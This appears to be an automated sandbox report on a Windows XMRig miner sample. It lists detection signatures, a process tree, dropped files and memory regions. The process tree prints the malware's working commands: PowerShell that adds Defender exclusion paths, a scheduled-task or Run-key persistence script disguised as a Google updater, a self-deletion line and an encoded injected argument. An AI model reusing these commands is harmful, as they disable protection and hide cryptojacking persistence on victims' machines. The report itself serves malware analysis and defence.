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Analysis

  • max time kernel
    1799s
  • max time network
    1786s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3420
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3396
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3292
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2156
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4788
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2464
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3896
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:4644
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:740
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            3⤵
            • Detects videocard installed
            PID:2552
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:1052
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:4292
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2980
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:3508

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 682KB
                • SHA256 a2743ca3671058c5904f76341a4bdf2ceadfd18471a479f77af60def6abf6737
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 806KB
                • SHA256 a7f43485b6849ba6cfa246129307332fab8ad2e52e0b8d5cc707e164c13c874d
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 dc798b1585697751183c3a011783416c823fcc1f389fb02d1e353b5a15c4da37
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_wqqkjvni.5mn.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wqqkjvni.5mn.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1012-11-0x00007FFFE8E80000-0x00007FFFE9941000-memory.dmp

                memory/1012-16-0x00007FFFE8E80000-0x00007FFFE9941000-memory.dmp

                memory/1012-12-0x0000024A72230000-0x0000024A72240000-memory.dmp

                memory/1012-13-0x0000024A72230000-0x0000024A72240000-memory.dmp

                memory/1012-1-0x0000024A73BC0000-0x0000024A73BE2000-memory.dmp

                memory/1052-161-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-143-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-177-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-173-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-179-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-171-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-169-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-167-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-165-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-163-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-126-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-159-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-157-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-155-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-153-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-151-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-149-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-147-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-145-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-175-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-141-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-139-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-136-0x0000017338640000-0x0000017338660000-memory.dmp

                memory/1052-181-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-183-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-137-0x0000017338660000-0x0000017338680000-memory.dmp

                memory/1052-135-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-133-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-132-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-130-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-127-0x0000017338640000-0x0000017338660000-memory.dmp

                memory/1052-119-0x00000173384C0000-0x00000173384E0000-memory.dmp

                memory/1052-128-0x0000017338660000-0x0000017338680000-memory.dmp

                memory/1052-118-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-185-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-187-0x00007FF7E2100000-0x00007FF7E28F4000-memory.dmp

                memory/1052-124-0x0000017338620000-0x0000017338640000-memory.dmp

                memory/1992-61-0x00007FFFE8E80000-0x00007FFFE9941000-memory.dmp

                memory/1992-62-0x00000221EE410000-0x00000221EE420000-memory.dmp

                memory/1992-63-0x00000221EE410000-0x00000221EE420000-memory.dmp

                memory/1992-64-0x00007FF4EB270000-0x00007FF4EB280000-memory.dmp

                memory/1992-75-0x00000221EEF00000-0x00000221EEF1C000-memory.dmp

                memory/1992-74-0x00000221EE410000-0x00000221EE420000-memory.dmp

                memory/1992-76-0x00000221EEF20000-0x00000221EEFD5000-memory.dmp

                memory/1992-77-0x00000221EEFE0000-0x00000221EEFEA000-memory.dmp

                memory/1992-78-0x00000221EF150000-0x00000221EF16C000-memory.dmp

                memory/1992-79-0x00000221EF130000-0x00000221EF13A000-memory.dmp

                memory/1992-87-0x00007FFFE8E80000-0x00007FFFE9941000-memory.dmp

                memory/1992-84-0x00000221EE410000-0x00000221EE420000-memory.dmp

                memory/1992-83-0x00000221EF180000-0x00000221EF18A000-memory.dmp

                memory/1992-82-0x00000221EF170000-0x00000221EF176000-memory.dmp

                memory/1992-81-0x00000221EF140000-0x00000221EF148000-memory.dmp

                memory/1992-80-0x00000221EF190000-0x00000221EF1AA000-memory.dmp

                memory/2980-120-0x00007FF6BDA80000-0x00007FF6BDC91000-memory.dmp

                memory/2980-51-0x00007FF6BDA80000-0x00007FF6BDC91000-memory.dmp

                memory/3292-28-0x00007FFFE8E80000-0x00007FFFE9941000-memory.dmp

                memory/3292-29-0x000001705F840000-0x000001705F850000-memory.dmp

                memory/3292-30-0x000001705F840000-0x000001705F850000-memory.dmp

                memory/3292-31-0x000001705F840000-0x000001705F850000-memory.dmp

                memory/3292-33-0x00007FFFE8E80000-0x00007FFFE9941000-memory.dmp

                memory/3396-35-0x00007FF733250000-0x00007FF733461000-memory.dmp

                memory/3396-0-0x00007FF733250000-0x00007FF733461000-memory.dmp

                memory/3896-114-0x00007FFFE8E80000-0x00007FFFE9941000-memory.dmp

                memory/3896-112-0x000001EAC9860000-0x000001EAC9870000-memory.dmp

                memory/3896-98-0x00007FFFE8E80000-0x00007FFFE9941000-memory.dmp

                memory/3896-111-0x000001EAC9860000-0x000001EAC9870000-memory.dmp

                memory/3896-101-0x00007FF408C20000-0x00007FF408C30000-memory.dmp

                memory/3896-99-0x000001EAC9860000-0x000001EAC9870000-memory.dmp

                memory/4644-125-0x00007FF6C07C0000-0x00007FF6C07D6000-memory.dmp

                memory/4644-131-0x00007FF6C07C0000-0x00007FF6C07D6000-memory.dmp

                memory/4788-50-0x00007FFFE8E80000-0x00007FFFE9941000-memory.dmp

                memory/4788-46-0x000001B0A50D0000-0x000001B0A50E0000-memory.dmp

                memory/4788-45-0x00007FFFE8E80000-0x00007FFFE9941000-memory.dmp